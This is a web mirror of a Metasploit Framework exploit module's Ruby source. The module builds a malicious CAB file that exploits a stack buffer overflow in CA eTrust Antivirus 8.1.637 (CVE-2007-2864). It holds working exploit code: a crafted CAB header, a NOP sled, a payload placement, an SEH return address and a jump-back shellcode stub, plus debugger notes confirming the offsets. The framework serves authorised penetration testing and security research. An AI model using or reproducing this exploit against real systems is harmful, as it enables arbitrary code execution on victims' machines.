CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/ca_cab.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::FILEFORMAT
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'CA Antivirus Engine CAB Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
16
By creating a specially crafted CAB file, an attacker may be able
17
to execute arbitrary code.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'MC' ],
21
'References' =>
22
[
23
[ 'CVE', '2007-2864' ],
24
[ 'OSVDB', '35245'],
25
[ 'BID', '24330' ],
26
[ 'ZDI', '07-035' ],
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
'DisablePayloadHandler' => true,
32
},
33
'Payload' =>
34
{
35
'Space' => 250,
36
'BadChars' => "\x00",
37
'StackAdjustment' => -3500,
38
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll
44
],
45
'Privileged' => false,
46
'DisclosureDate' => '2007-06-05',
47
'DefaultTarget' => 0))
48
49
register_options(
50
[
51
OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']),
52
])
53
end
54
55
def exploit
56
57
cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
58
cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
59
cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
60
cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"
61
62
sploit = make_nops(268 - payload.encoded.length) + payload.encoded
63
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
64
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
65
sploit << make_nops(800)
66
67
cab = cab_header + sploit
68
69
print_status("Creating '#{datastore['FILENAME']}' file ...")
70
71
file_create(cab)
72
73
end
74
end
75
76
=begin
77
0:001> !exchain
78
00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
79
00cdf2fc: 316a4130
80
Invalid exception stack at 6a413969
81
0:001> !pattern_offset 1024 0x6a413969
82
[Byakugan] Control of 0x6a413969 at offset 268.
83
0:001> !pattern_offset 1024 0x316a4130
84
[Byakugan] Control of 0x316a4130 at offset 272.
85
0:001> u 0x6dc886ea L3
86
INOCORE!QSIInitQSysInfo+0x278a:
87
6dc886ea 5f pop edi
88
6dc886eb 5e pop esi
89
6dc886ec c3 ret
90
=end
91
92